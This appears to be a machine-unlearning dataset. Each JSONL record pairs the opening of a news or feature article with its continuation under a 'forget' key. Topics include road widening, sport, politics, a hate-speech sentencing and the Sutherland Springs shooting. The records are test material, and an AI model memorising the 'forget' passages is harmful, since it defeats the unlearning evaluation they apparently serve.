{"prompt": "QUEEN ANNE, Md. -- Maryland's Route 404 sees an average of 20,000 cars daily but there are also a high number of deaths seen on the highway. That's why the state's department of transportation is working on widening the road as part of a new $1.97 billion infrastructure project. Travelers can expect heavy traffic in the coming months as construction continues to widen Maryland's Route 404 between Starr Rd. and Route 50. The two lane road will turn into a four lane highway from west of Route 309 to east of Tuckahoe Creek. State lawmakers have pressed to make widening", "forget": "Route 404 a priority since it's notorious for bad accidents and fatalities. Jill Kinnamon works at Hot Off the Coals BBQ right off the highway and says traffic can be terrible when there's an accident. \"People get a lot of rear ends and we just had a tractor trailer accident down the road not too long ago with a fatality,\" the diner manager said. Philip Smith grew up in Denton and now lives in Baltimore. He says now that he travels back and forth to the beach, a four-lane highway is necessary. \"I know growing up before this was just two lanes all the way to Bridgeville so it was kind of annoying to us when I lived here,\" said Smith. \"Of course I'm for it because the faster we can get to the beach and to my family's house the easier it is.\" Widening the 404 highway should hopefully improve safety and streamline traffic, but at what cost? The diner where Kinnamon works is also a family-owned Shell gas station where the owners have had to sell much of their land to the state. Kinnamon says all of their roadside advertisements are gone. Most of their parking lot is gone and soon most of the station's entry points will be gone as well. \"They want to take our access from 404 away from us and have our new entry point at the back of the building,\" said Kinnamon. That's a problem for the 15-year old business since the owners say this new access road may not be easily seen from such a busy highway. \"Consumers aren't going to notice or want to get off of the highway to try to find out how to get back in here,\" the manager said. It's just one of many problems businesses and"}
{"prompt": "-- by Mary Bottari and Sean Hoey Generation Opportunity (Gen Opp), a \"nonpartisan\" youth group funded by the Koch brothers \"Freedom Partners\" conduit, is backing one of the Koch's favorite politicians and thanking him for his support for a Koch-approved ALEC model bill. The Arlington, Virginia, astroturf group recently asked Wisconsinites to sign a petition thanking Governor Scott Walker for signing \"The CASE for Jobs Act.\" The tweets signal that the group is trying to capture names in Wisconsin perhaps for use in the election cycle. As CMD previously reported, the group has been spending big money in federal races", "forget": "for the U.S. Senate. The tweets from @GenOppWI went viral on Twitter, but not for the reasons the group would have hoped. Rather, Wisconsinites reacted viscerally to the call to thank Wisconsin's governor for making progress on jobs. \"@GenOppWI Is this a joke?\" was one of the milder and more common responses pouring into the Gen Opp account, prompting one Walker supporter to lament, \"I can't believe the negative replies.\" Wisconsinites Aren't Buying Gen Opp Spin on Jobs Gen Opp signaled its support for Walker by thanking him \"for giving our generation an opportunity to build our own future.\" How are Wisconsin youth building their future? Apparently by \"crowdfunding\" capital. Just a few months before the election, Gen Opp has begun peddling a petition to thank Walker for signing the CASE for Jobs Act, which he signed into law eight months ago. The bill in question was co-authored by Wisconsin ALEC members Rep. David Craig, Rep. Chad Weininger, and State Senator Leah Vukmir. Vukmir, an ALEC Board Member, was sued by the Center for Media and Democracy for failure to respond to our open records requests. The state attorney general settled the case with CMD in 2014, paying penalties and fees. Drafting documents obtained by CMD reveal that the CASE Act was modeled on a North Carolina bill, the \"Jump-Start Our Business Start-Ups Act\" (JOBS Act). It, too, was introduced by a passel of ALEC politicians, including Kelly Hastings, Tom Murry, and Tim Moffitt. So it's not surprising that the bill then moved to ALEC and became ALEC's Local Investment Made Easy (LIME) Act, which was on the ALEC agenda in Kansas City in April 2014. It was approved as a \"model\" by ALEC's board, which includes Koch Industries, on July 1, 2014. Under the bill businesses are granted exemptions"}
{"prompt": "Fifty-four years after he accidentally wandered across the eastern frontier into India following the 1962 war with China, a Chinese soldier has returned home to Xi\u2019an to a hero\u2019s welcome. \u201cI\u2019m finally home!\u201d Wang Qi (77) sobbed as he arrived at Xi\u2019an\u2019s airport in an emotional reunion carried on state television in China. \u201cToday is my happiest day in 54 years. Finally I have come back to this beautiful lovely country. Words cannot express how I feel now,\u201d he said as he hugged his tearful brothers and sisters. He was accompanied by his son, Vishnu Wang (35), daughter-in-law Neha and", "forget": "grand-daughter, Khanak Wang. His Indian wife Shushila, however, stayed behind in India as she was ill. Building roads Mr Wang had been a surveyor with the Chinese military following the brief war with India in 1962 and had been building roads for the Chinese army when he strayed into Indian territory at Assam. \u201cI had gone out of my camp for a stroll but lost my way. I was tired and hungry. I saw an Indian Red Cross vehicle and asked them to help me. They handed me over to the Indian army,\u201d he said. Mr Wang was moved around between various jails for seven years after he was jailed for espionage, before his release in 1969. He ended up in a remote village in the central Indian state of Madhya Pradesh, where he married and worked in a flour mill, living in poverty and sending many letters to his family in Shaanxi province expressing his desire to come home. Mr Wang began the process of applying for the necessary documents to leave India in 1977, but he only received a passport in 2013. He was never granted Indian citizenship. Finally back It was a report by the BBC that highlighted his plight on Chinese social media and expedited efforts to get him a passport. Arriving in his home city of Xianyang, he was met by crowds carrying banners. The reunion took place on the same day as China\u2019s Lantern Festival, a day that traditionally represents reunion. \u201cAfter all these years, he is finally back,\u201d Wang Shun, who had prepared a quilt for Mr Wang, told the Xinhua news agency. \u201cWe bought the furniture in this room many years ago.\u201d A local villager Wang Ming said Mr Wang had not changed much. \u201cI can still recognise him . . ."}
{"prompt": "Four players have retained the Premier League Golden Boot award: Alan Shearer, Thierry Henry, and Robin van Persie are the first three. They've got 602 English top flight goals between them and are regarded among the best to ever play in this country. Last Sunday, Harry Kane became the latest. This season Kane (29) scored more goals than Middlesbrough (27). There were six hat tricks scored in the Premier League this season and Kane scored four of them. His goals were scored in 30 games, at a ratio of one every 87 minutes. What's even more remarkable about Kane's feats", "forget": "this term (four against Leicester and three at Hull in the final two games eventually getting him over the line) is that he reached these remarkable heights despite missing two chunks of the season with separate ankle injuries. These ailments forced him to miss eight league games, but what's incredible isn't just that he missed those two spells, but more the speed of his recovery. In September it was predicted he'd miss two months, but he was back in a little over six weeks; there were similar fears in March, but ultimately he returned after a month. And he scored in his first game back both times, too. There is often a tendency in England to overhype players, but in Kane's case there's a sense he's underrated. By any rational standard, Kane is world-class, even if that is a nebulous term without clear definition. We are, after all, perfectly prepared to place players like Alexis Sanchez, Gonzalo Higuain and Sergio Aguero into that bracket, but Kane isn't routinely classed among the finest in the world. With the caveat that goals aren't the sole marker of players' class, Kane has scored more than all of those players this season. In the last three seasons, he has scored 75 in the Premier League, ahead of Aguero, on 70. Throw in another three the season before, plus 21 in other competitions, and his career total for Tottenham is 99, from 131 starts. There's enough evidence to confirm his status now. At first glance, he still doesn't look particularly special -- despite being a fine athlete he doesn't have a single \"eye-catching\" physical quality, like pace, rippling power or a bullet header -- but something intangible marks him out, specifically that he thinks in a different way to many footballers. When he's in the"}
{"prompt": "While Falcom are a more niche team then most other JRPG developers, they still manage to make some all-round amazing games that are enjoyable. Recently their titles, both new ones and older ones, are slowly coming out in english more and more. After a two years wait, Tokyo Xanadu, a recent title they developed, was released on the PS Vita in English. The PS4 version is to be released later in the year. This review will focus on the Vita version, but once the PS4 version releases and I have finished all the new content, I will add an extra", "forget": "section down the bottom that will give my opinions and thoughts on the changes, additions and overall package of the PS4 edition. I am very much looking forward to it! This game might share some similarities with Persona but also tries to be its own thing and does it very well. Tokyo Xanadu starts off interesting straight of the bat, as within the first five minutes of the game the protagonist finishes his work for the day and gets caught up in some trouble immediately after, which leads to the start of his double life of having to pretend to be a normal high schooler while secretly defending his city from monsters called Greeds. Kou, the protagonist, is not alone and has several other members that soon get caught up in the hijinks and mischief happening to the town and just like in Trails of Cold Steel 1 and 2, you can hang out with them in-between story segments to learn more about their backstory and lifestyle. The story had me hooked and learning about the events that had occured before the game, as well as what is happening in the present was interesting and overall the plot to me was really well done with some really impactful scenes and emotional parts at specific points. The PS4 version expands on this with extra story elements, which will also be covered later. The game has an interesting story with twists and turns you don't see coming. I highly enjoyed the gameplay as it felt overall fun to go through dungeons defeating Greeds while finding hidden treasure and other little secrets. Gameplay wise, this game is action rpg with many dungeons and there are various ways to fight enemies with different skills and abilities and special moves you can use. The mechanics"}
{"prompt": "President Lyndon Johnson\u2019s labor secretary, Willard Wirtz, reported that there was substantial discrimination against older workers and that the nation was needlessly denying older people \u201copportunity for that useful activity which constitutes much of life\u2019s meaning.\u201d Bolstered by Wirtz\u2019s report, in 1967 Congress passed the Age Discrimination in Employment Act. It used parallel language to the 1964 act, which should have guaranteed older Americans comparable rights to other groups. It has not worked out that way. The courts have repeatedly thrown up barriers to age discrimination suits, long before the Supreme Court\u2019s June decision. In 1993, in one of its", "forget": "most damaging rulings, the court decided that if employers fire workers whose pension costs or salaries are high, they are not discriminating \u2014 even if the overwhelming number of people fired are older workers. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. There are several possible reasons that age discrimination is not taken as seriously as other biases. Older workers are generally not victims of animosity, but rather of unfair stereotypes \u2014 that they work more slowly or do not adapt well to change. Many people also seem to agree with the appeals court in the light bulb case: that unlike racism, which is inherently wrong, there is something natural about the old making way for the young. Never mind that with the Social Security retirement age rising, and pensions disappearing, many older Americans have no choice but to work. As flawed as the Age Discrimination in Employment Act is, older people have fared even worse in constitutional law. The Supreme Court in 1976 rejected an equal protection challenge to Massachusetts\u2019s mandatory retirement age of 50 for state police officers. The sole dissenter was Justice Thurgood Marshall, who had been a legendary litigator for the NAACP Legal Defense and Educational Fund. Older people, Justice Marshall said, are not in the same category as blacks when it comes to"}
{"prompt": "Both of them knew the conversation needed to happen. It had been simmering to the surface for quite some time, but it was only now, in June, at the Tour de Suisse that Shayne Bannan broached it. \"Come back in the car with me,\" offered Bannan. And so he did. There's something about car rides that prys the heart and mind open. The unsaid, drips, then pours out, helped perhaps, by sparing eye-contact, and the gentle hum of the engine. They were frank. Bannan, mainly. There was no sugar-coating it, the partnership hadn't been anywhere near as successful as either", "forget": "had hoped. After 10 minutes, all was said and done. Catharsis. Goss was out. The decision was mutual, as Goss tells it anyway. Still it's not something he would have anticipated, nor desired even 12 months before. Both had wanted things to work. They hadn't. In September, he finished his last race with the team, the Tour of Alberta, or rather didn't. A DNF is marked to his name for the final stage. An appropriately invisible close to Goss's time in Orica colours. In three years with the team he'd clocked just two wins, and for the first time since he'd turn pro, in 2014, he hadn't won once. Where exactly did it all go wrong for Matt Goss? What exactly happened to the world-beater that joined the team in 2012? At a time of accelerating development, strength, speed and confidence, the Australian, stagnated, then went backwards. For Matt Goss, these were the lost years. *** Internally at least, frustrations with Goss's non-performance at GreenEDGE had been building for some time. One must remember that the Australian, was, at least in 2012, by far the team's best paid rider, on a deal close to double that of any of his team-mates. And yet the return on investment from the now 27 year old, in retrospect, is among the poorest of the crop. At the time of Goss's signing, in 2011, his deal was vindicated. Here was a rider bubbling to his prime, and ready, or so it appeared to hit his stride in a new, ambitious team, unrestrained by the presence of other sprinters. He'd won Milan-San Remo, he'd very nearly won a world championship, in Copenhagen. The world was his oyster. But things never clicked. There's a confluence of factors that together unravelled Goss, the first, was the assumption"}
{"prompt": "A 50-year-old woman was injured in a struggle over her cell phone on Wednesday morning. Police report that the woman was walking with her cell phone in hand near 23rd Street and South Van Ness Avenue at 1:20 a.m. when she was approached by two unidentified men. As one of the men grabbed her phone, the woman resisted and a struggle ensued. The man then pulled out a handgun, which he used to hit the woman, causing her to fall to the ground. Both suspects reportedly ran to a vehicle and fled westbound on 23rd Street. The victim was transported", "forget": "to the hospital for treatment of her non-life-threatening injuries \u2014 police do not have a vehicle description at this time and have not reported any arrests. On January 10, four men believed to be between the ages of 20 and 30 violently attacked a 29-year-old man at 16th and Mission streets. The incident occurred at 1:40 p.m. and was motivated by a verbal argument between the victim and one of the suspects, which escalated when all four attacked the man, knocking him to the ground and hitting him. The suspects fled on foot and have not been apprehended, and the victim was transported to the hospital in non-life-threatening condition. Two Mission District garages, and three in nearby neighborhoods, were targeted by burglars on Monday evening and early Tuesday morning. It is unclear if the burglaries are related. The first Mission District burglary is believed to have occurred sometime between 7 p.m. on Monday and 7:30 a.m. on Tuesday, when an unidentified suspect entered the garage of a 66-year-old man on Dearborn Street \u2014 near 18th and Guerrero streets \u2013 and stole the man\u2019s bike, tools, and tool box. The victim discovered in the morning that the items he had secured in his garage were missing. Police have not reported any arrests. A 47-year-old woman also reported a burglary at her residence in which an unidentified suspect entered her garage to steal several items, including a bicycle and a tent. Police report that the burglary occurred sometime between 8 p.m. on Monday and 7:30 a.m. on Tuesday, and that the woman awoke on Tuesday morning to find her garage door wide open and her belongings missing. No arrests have been made. Crime is trauma and the county offers different services, which can be found here. Victims of violent crime can also"}
{"prompt": "On August 7, Brandon Hudgins, 28, of Boone, North Carolina, became the 448th American to break 4:00 in the mile, and most likely the first to do so after overcoming granulomatosis with polyangiitis (GPA), a rare autoimmune disease that affects the blood vessels. Hudgins\u2019 3:59.67 fifth-place finish in the Sir Walter Miler in Raleigh marked the culmination of a journey that has included three bouts with the disease, which is treated with chemotherapy and high doses of corticosteroids, in eight years. Hudgins, who says his sub-4:00 mile is a \u201cdream come true, but something I always knew I could do,\u201d", "forget": "struggled to hold back tears in his postrace interview, as he talked about what it meant to accomplish a lifelong goal in front of family and friends after overcoming what seemed like insurmountable obstacles at times. \u201cMy goal is to inspire other people to persevere, whatever their walk in life is, to reach their goals, because it gets dark sometimes,\u201d Hudgins told Runner\u2019s World Newswire. \u201cI can now say that it\u2019s completely worth it. That feeling I had on Friday night when I broke 4:00 was definitely worth it.\u201d After running 4:16 for 1600 meters to win a South Carolina state title as a senior, and running 4:07 for the mile as a sophomore at Winthrop University, Hudgins figured it was only a matter of time before he broke 4:00. But during his junior cross country season at Winthrop, he began to experience symptoms\u2014starting as a cold that wouldn\u2019t go away\u2014that would eventually lead to his diagnosis. Because GPA, formerly known as Wegener\u2019s granulomatosis, is such a rare condition, it can be difficult to diagnose initially. In his first encounter with the disease, Hudgins suffered 90 percent hearing loss in one ear and 80 percent in the other. His sinuses swelled and were covered in sores, he developed granulomas in his lungs and kidneys, and he came close to losing kidney function. After six months of chemotherapy most of his symptoms were reversed, but the disease and treatment had worn down his body. GET MORE NEWSWIRE: Sign up for the RW Daily newsletter By the time Hudgins was well enough to think about training and racing again, he had graduated from Winthrop, but he was able to use his remaining eligibility as a graduate student at Appalachian State University. He graduated from Appalachian State in 2011 with personal bests of"}
{"prompt": "The Uruguayan joined the rest of the squad in Asia having spent some extra time away from football following the World Cup. Chelsea are weighing up a move for Paris Saint-Germain striker Edinson Cavani, sources have told ESPN FC. - Lythell: Chelsea' ex files - Mourinho questions Lukaku mentality - Worrall: Chelsea youths need strong preseason A long-term link to Stamford Bridge, the 27-year-old Uruguay international joining Jose Mourinho's side would be dependent on a number of factors, not least Chelsea's need to comply with UEFA regulations. Apart from already having exceeded the quota for foreign players over the age", "forget": "of 21 by one -- with Didier Drogba taking them to 18 -- the London club are also increasingly conscious of financial fair play. It is expected that Czech goalkeeper Petr Cech could move on, however, and that any purchase of Cavani would finally see the long-mooted sale of Fernando Torres. Furthermore, the departure of Romelu Lukaku to Everton brought in 28 million pounds, freeing up more funds. ALL-TIME HIGHEST TRANSFER FEES 1) \u00a385m Gareth Bale -- Tottenham to Real Madrid, Sept. 2013 2) \u00a380m Cristiano Ronaldo -- Man Utd to R. Madrid, June 2009 3) \u00a375m Luis Suarez -- Liverpool to Barcelona, July 2014 4) \u00a371m James Rodriguez -- Monaco to Real Madrid, July 2014 5) \u00a359.7m Angel Di Maria -- Real Madrid to Man Utd, Aug. 2014 6) \u00a356m Kaka -- AC Milan to Real Madrid, June 2009 Sources told ESPN FC that Chelsea have been quoted a price of 40 million pounds by PSG for Cavani, and that the player is eager to move to Stamford Bridge -- despite a public declaration that he would prefer to stay in France. There has already been preliminary contact between the London club and the player's camp, although Chelsea are still assessing the best course of action. With Mourinho having regularly complained about his forward line's lack of goals last season, signing Cavani and selling Torres would mean his attack has been completely overhauled, after the purchases of Diego Costa and Didier Drogba as well as the departures of Demba Ba and Samuel Eto'o. From a tactical point of view, Cavani would also provide the type of pace on the break that Mourinho favours in his teams, and that was sorely missing over the 2013-14 campaign. Edinson Cavani moved to Paris Saint-Germain from Napoli in July 2013. The Uruguayan has"}
{"prompt": "For unaccompanied minors traveling with American Airlines, parents pay an extra $300 on top of the ticket price to cover the additional care staff puts in to make sure a child gets from point A to point B safely. One mom from Charlotte, NC \u2014 who paid that extra cost to send her 11-year-old daughter to visit with family in New York \u2014 was failed by this system after being lied to about the whereabouts of her daughter, and wants to warn other parents. Corinne Chausse and her husband were expecting their daughter Maggie to arrive back in Charlotte at", "forget": "8:50 p.m. on Monday, and although American Airlines confirms that the flight out of New York was delayed due to weather, Corrine didn't hear from Maggie until 1:30 a.m., when she called from Columbia, SC, after the plane was rerouted there. Maggie told her parents that she was being taken off her plane because her flight was canceled. The worried parents lost contact with Maggie for over an hour \u2014 they were halfway to Columbia to get her when American Airlines informed them that the flight was going ahead and would be on its way to Charlotte, but then as they got back to Charlotte, they were informed yet again that the flight was canceled. Frantic at this point, Corrine says an American Airlines employee tried to reassure her that her daughter was in a room for minors at Columbia airport, but five minutes later, Maggie called to say she was still on the plane. \"They blatantly lied to me about where she was,\" Corrine told WSOCTV. This communication nightmare between Corrine and the airline is enough to make any mother never want to allow her child to ever fly alone, but on top of that, Maggie was on her plane for more than nine hours and none of the employees who were meant to be caring for her gave her anything to eat. Corrine has tried to contact American Airlines, but she hasn't heard back. \"I don't want another parent to go through this,\" she said. \"They need to look at this system they have in place. They're charging people $300 for it and they need to examine where it failed because it failed drastically.\" However, she says she's less concerned with a refund at this point because she now has a bigger problem to handle: after this experience,"}
{"prompt": "A notorious protester convicted of wilfully promoting hatred against Muslims and criminally harassing a Muslim man and his family was sentenced Tuesday to nine months in jail. Eric Brazau handed out a flyer that \u201cvilified Muslims and disparages their religion,\u201d Ontario court Judge S. Ford Clements said in February, when he found Brazau guilty. Eric Brazau was convicted of willful promotion of hatred against Muslims and criminally harassing a Muslim family. ( CARLOS OSORIO / TORONTO STAR FILE PHOTO ) The case was far from being on the borderline between \u201crough and tumble debate\u201d and hate speech, as Brazau had", "forget": "argued, Clements said in a College Park courtroom. Brazau handed out the flyer, which contained many offensive references to Islam and Muslims, in August and September 2012. While distributing it, Brazau sometimes yelled obscenities about Islam \u201cin a tone of voice that suggested he was very angry and had little interest in debate,\u201d Clements said. Brazau had argued that he did not intend to promote hate speech; instead he wanted to stimulate debate about censorship, \u201cblasphemy laws\u201d and Sharia law, Clements said. Article Continued Below Clements disagreed. \u201cHe knew the material would deeply wound and anger Muslims,\u201d said Clements. The content was not humorous, ironic or satirical, he said. \u201cMr. Brazau is far too intelligent to believe this to be so.\u201d The flyer also contained a somewhat blurred photograph of a Muslim family on a downtown Toronto street. The man in the photo testified that Brazau called him a \u201cterrorist\u201d on the day Brazau took the photo. In a second interaction a few weeks later on a sidewalk, the man, whose name is protected by a publication ban, said that Brazau approached him aggressively while photographing the family, making him \u201cconcerned and fearful.\u201d Article Continued Below Clements found this to be criminal harassment. During sentencing submissions, Crown prosecutor Derek Ishak described Brazau as an \u201cunrepentant hatemonger \u2026 who abused his right to freedom of speech in a planned, deliberate manner,\u201d Clements said Tuesday in his sentencing decision. However, Clements said that while Brazau\u2019s conduct was \u201cdespicable\u201d and his beliefs \u201crepugnant,\u201d the maximum sentence of six months for a summary conviction on willfully promoting hatred was unwarranted. He also noted the defence submission that Brazau committed his offences in public, where he was easily identifiable, rather than by stealth. Instead, he gave Brazau a four-month sentence, plus two months for criminal"}
{"prompt": "By Ralph Nader The editor of The Hill, a newspaper exclusively covering Congress, said that Congress was not going to do very much in 2012, except for \u201cthe big bill\u201d which is extending the payroll tax cut and unemployment compensation, which expire in late February. That two month extension will likely reignite the fight between Democrats and Republicans that flared last month. In 2012, Congress, the editor implied, would be busy electioneering. That is, the Senators and Representatives will be busy raising money from commercial interests so they can keep their jobs. There won\u2019t be much time to change anything", "forget": "about misallocated public budgets, unfair tax rules, undeclared costly wars, and job-depleting trade policies that, if fixed, would increase employment and public investment. So this year, Congress will spend well over $3 billion on its own expenses to do nothing of significance other than shift more debt to individual taxpayers by depleting the social security payroll tax by over $100 billion so both parties can say they enacted a tax cut! That is what the Democrats in Congress and the President call a significant accomplishment. Will someone call a psychiatrist? This is a Congress that is beyond dysfunctional. It is an obstacle to progress in America, a graveyard for both democracy and justice. No wonder a new Washington Post-ABC news poll found an all time high of 84 percent of Americans disapprove of the job Congress is doing. Both Republicans and Democrats say they want to reduce the deficit. But they are avoiding, in varying degrees, doing this in any way that would discomfort the rich and powerful. One would think that, especially in an election year, the following legislative agenda would be very popular with the voters. First, restore the taxes on the rich that George W. Bush cut ten years ago which expanded the deficit. So clueless are the Democrats that they have not learned to use the word \u201crestore\u201d instead of the Republican word \u201cincrease\u201d when talking about taxes that were previously cut for the millionaires and billionaires. Second, collect unpaid taxes. The IRS estimates that $385 billion of tax revenues are not collected yearly. If the IRS budget increased and more people were hired, every dollar it spent would return $200 from tax evaders, including corporations and the wealthy. When taxes are not collected, the large majority of honest taxpayers are left with the unfair consequences."}
{"prompt": "by Lucy Peltz From America\u2019s Declaration of Independence in 1776 to the end of the Napoleonic wars in 1815, Britain\u2019s economic, social and political stability was in turmoil. Against this backdrop of revolution abroad, the relations between the sexes \u2013 and their proper roles \u2014 were increasingly challenged. While the figure of the respectable female writer of sentimental novels, poetry or didactic literature had become a cultural commonplace, there was a new backlash against the literary woman asserting her views in the more \u2018masculine\u2019 genres of history and politics. The tightening of gendered boundaries can be particularly identified in the", "forget": "reception and troubled reputation of a new generation of political voices, including the radical Mary Wollstonecraft. In 1787, Mary Wollstonecraft was a relatively unknown writer who was running a school when she published Thoughts on the Education of Daughters. This was a \u2018conduct book\u2019, one of the few genres deemed acceptable for women writers. A year later Wollstonecraft wrote Mary, A Fiction, a semi-autobiographical novel in which she created an independent female protagonist whose \u2018grandeur is derived from the operations of [her] own faculties, not subjugated to opinion\u2019. It was also in 1788 that Wollstonecraft began to write for the Analytical Review. It was in this radical newspaper, that she first declared her admiration for the controversial republican thinker, Catherine Macaulay. This happened when Wollstonecraft was reviewing the older woman\u2019s Letters on Education, where there was a clear overlap between Macaulay\u2019s ideas and those Wollstonecraft had published in Letters on Education, especially around the importance of parental nurture and the coeducation of girls and boys. Wollstonecraft also empathised with Macaulay\u2019s attack on the way girls were expected to \u2018counterfeit . . . weakness in order to attract the notice of the male\u2019. And while Wollstonecraft had formerly imagined herself the \u2018first of a new genus\u2019, in 1790 she was pleased to identify Macaulay as a female role model. Her enthusiastic sense of affinity with the ageing radical is evinced in the unsolicited and bold letter that Wollstonecraft wrote to Macaulay. Madam, Now I venture to send you < blank >, with a name utterly unknown to you in the title page, it is necessary to apologise for thus intruding on you \u2013 but instead of an apology shall I tell you the truth ? You are the only female writer who I consider in opinion with respecting the rank our"}
{"prompt": "The announcement that Pastor Maldonado will race for Lotus in 2014 was not wholly unexpected but it was greeted with universal disdain from Formula 1 fans. Maldonado will move across from Williams and join the affable Romain Grosjean in black and gold as the sport enters a new era. Maldonado is not the hopeless driver that many suggest he is, but his new partnership with Lotus is symptomatic of the deep-rooted problems facing Formula 1 at the current time. That Lotus \u2013 the fourth best team in 2013 and one that was within touching distance of beating Mercedes and Ferrari", "forget": "\u2013 has had to employ a driver who scored a single championship point this year does not reflect well on the sport. The typically quirky Lotus social media team decided to announce the deal with a picture of Grosjean and Maldonado colliding in GP2 three years ago\u2026 Maldonado has raw speed \u2013 albeit he was trumped by rookie Valtteri Bottas this season \u2013 and at times he has aptly demonstrated his ability in the sport. Having stormed to the GP2 title in 2010, he joined Williams when the team produced a mediocre car. But his drive in Monaco in 2011 was sublime, while his weekend in Spain in 2012 was sensational, even if he was aided by the penalty to Lewis Hamilton. On that day in May 2012, he held Fernando Alonso at bay for 66 laps and delivered Williams their first win in eight years. There were also other good races \u2013 his performances in Spain and Abu Dhabi were mature, as he dealt with the adversity that was thrown his way. At those moments, he delivered when it mattered. Lesser drivers would not have done so. But for all of his high points, they are indeed contrasted with a tendency to get involved in trouble. He threw away a bagful of points through silly contact in 2012 \u2013 the prime example being his impatience in Valencia - while at times his approach to racing means he causes unnecessary problems for himself. It\u2019s highly unlikely that Lotus will be able to change his attitude, for while he is a pleasant person outside of the car, his personality appears to alter inside the cockpit. When Grosjean made errors, he was a broken man and vowed to improve himself. He did. When Maldonado makes mistakes, he never accepts the blame and"}
{"prompt": "Officials doubted someone could have walked away from the crash The wreckage of a plane found near the town of Mammoth Lakes in California does belong to missing US adventurer Steve Fossett, officials say. A number plate confirmed the plane as the Bellanca Super Decathlon piloted by the 63-year-old millionaire. Body parts are reported to have been found inside. The search began after a hiker found items thought to belong to Mr Fossett. He vanished in September last year on a solo flight that took off 90 miles (145km) away in neighbouring Nevada. Click here to see a map of", "forget": "the area A wide-ranging search operation conducted since then had failed to find any trace of Mr Fossett or his plane and he was officially declared dead in February. Fuselage shattered Madera County Sheriff John Anderson said the wreckage had been spotted late on Wednesday during an aerial search of a stretch of the Sierra Nevada mountains near Mammoth Lakes. Please turn on JavaScript. Media requires JavaScript to play. Advertisement A ground team later confirmed the identity of the plane, which seemed to have struck the mountain head-on, Mr Anderson said. \"The crash looked so severe I doubt if someone would have walked away from it,\" he said. Most of the fuselage had disintegrated, with engine parts scattered several hundred feet away. Mr Anderson initially said no human remains had been found at the crash site. \"It's quite often if you don't find remains within a few days, because of animals, you'll find nothing at all,\" he said. SOME OF FOSSETT'S RECORDS 1998/2002: Long-distance for solo ballooning 2001/2002: Duration for solo ballooning 2002: First solo round-the-world balloon flight First balloon crossings of Asia, Africa, Europe, South America, South Atlantic, South Pacific, Indian Oceans Seven fastest speed sailing titles 13 World Sailing Speed Record Council titles 2001: Fastest transatlantic sailing 2004: Fastest round-the-world sailing Round-the-world titles for medium airplanes US transcontinental titles for non-military aircraft In pictures: Steve Fossett Profile: Steve Fossett But reports later said that some remains had been found in the aircraft and would be sent for DNA analysis. Fifty people and five dog teams would carry out an extensive search of the site for Mr Fossett's remains, he added. On Thursday British entrepreneur Richard Branson paid tribute to his friend and fellow adventurer. \"The most important thing is that the family know what's happened,\" he said. \"He"}
{"prompt": "A suspect was killed in an officer-involved shooting in the Skid Row area of downtown Los Angeles, and video shows the deadly confrontation.Authorities say officers responded to a robbery call around noon Sunday in the 500 block of San Pedro Street. When the officers came in contact with the suspect, an altercation occurred.\"The preliminary investigation revealed that during that altercation, at least one less than lethal device, a Taser, was deployed. However, at this time, we still do not know if that Taser did strike the suspect,\" said LAPD Sgt. Barry Montgomery.Officers continued to struggle with the suspect, and then", "forget": "an officer-involved shooting happened. In the video shot by Anthony Blackburn, someone yells \"drop the gun\" just before shots were fired.The suspect, who was identified by witnesses as \"Africa\", was taken to an area hospital, where he was pronounced dead.\"Instead of handcuffing the guy, they straight out shot him,\" said eyewitness Larry Jackson.Yolanda Young said she was in the area visiting a friend when she saw the confrontation near the Union Rescue Mission.\"Three cops tased him. He went down to the ground. Next thing I know, he got up, he's swinging on the police,\" Young said. \"They (were) fighting with him, wrestling with him ... They pulled out their guns and they shot him five times.\"Three officers, one of whom is a sergeant, shot the man as they struggled on the ground for control of one of the police officer's weapons, LAPD Cmdr. Andrew Smith said.\"Anytime we have an officer-involved shooting and there's a loss of life, people are upset and justifiably so,\" Smith said. \"Nobody out there, no police officer out there, wants to be involved in a situation like this where you have to take someone else's life.\"The three officers who opened fire have since been placed on leave pending the outcome of the investigation.People in the crowd were heard on the video saying the man was not armed, but police say they have not yet determined if the suspect was armed.People on Skid Row who knew Africa say he wasn't violent.\"What did he do? He wasn't an aggravated person. He wasn't mad all the time. He just had mental problems,\" said Steven Tugmon.L.A. Urban Policy Roundtable President Earl Ofari Hutchinson and other city civil rights leaders called the L.A. Police Commission to hold a special hearing on the use of force by officers in Skid Row encounters"}
{"prompt": "Updated Sunday, Nov. 5, 2017, 9:10 p.m. EST: Several reports have identified the man who fired numerous times inside the First Baptist Church in Sutherland Springs, Texas, as 26-year-old Devin Patrick Kelley. Advertisement The New York Times confirms that at least two anonymous law-enforcement sources told the outlet that Kelley, who lived in New Braunfels, Texas, was the perpetrator in the Sunday-morning attack that left 26 people dead. Victims ranged in age from 5 to 72 and included a pregnant woman and several children. The Times reports that Kelley had served in the Air Force at a base in New", "forget": "Mexico and died shortly after he opened fire at the church. Advertisement Kelley was armed with a Ruger military-style rifle when he perpetrated the attack. Updated Sunday, Nov. 5, 5:30 p.m. EST: The 14-year-old daughter of church pastor Frank Pomeroy was one of the victims killed, CNN reports. Neither the pastor nor his wife was in the church when the shooting took place. Earlier: Another mass shooting has taken place in the United States, this time claiming more than 20 lives, according to reports. Advertisement CNN reports that the FBI; the Bureau of Alcohol, Tobacco, Firearms and Explosives; and local police are now responding to the scene at the First Baptist Church in Sutherland Springs, Texas, where a gunman opened fire during Sunday-morning church services. A witness told the news outlet that she heard about 20 shots being fired in quick succession while a church service was underway. A law-enforcement source told CNN that a man walked into the church and began shooting about 11:30 a.m. local time. According to a local station, KSAT-TV, the unidentified shooter, a man, is dead. CNN reports that he died after a brief chase north into neighboring Guadalupe County. It is unclear if the shooter was killed by police or took his own life, a police spokesperson said. Advertisement The church\u2019s Facebook page shows a recent Fall Festival with parishioners dressed up in Halloween costumes. Advertisement The incident harks back to a 2015 incident at the Mother Emanuel African Methodist Episcopal Church in Charleston, S.C., where Dylann Roof shot and killed nine parishioners during an evening Bible study. That mass shooting was racially motivated. The First Baptist Church in Sutherland Springs does not appear to be a black church. President Donald Trump tweeted his condolences from his trip to Asia. Advertisement Editor\u2019s note: An"}
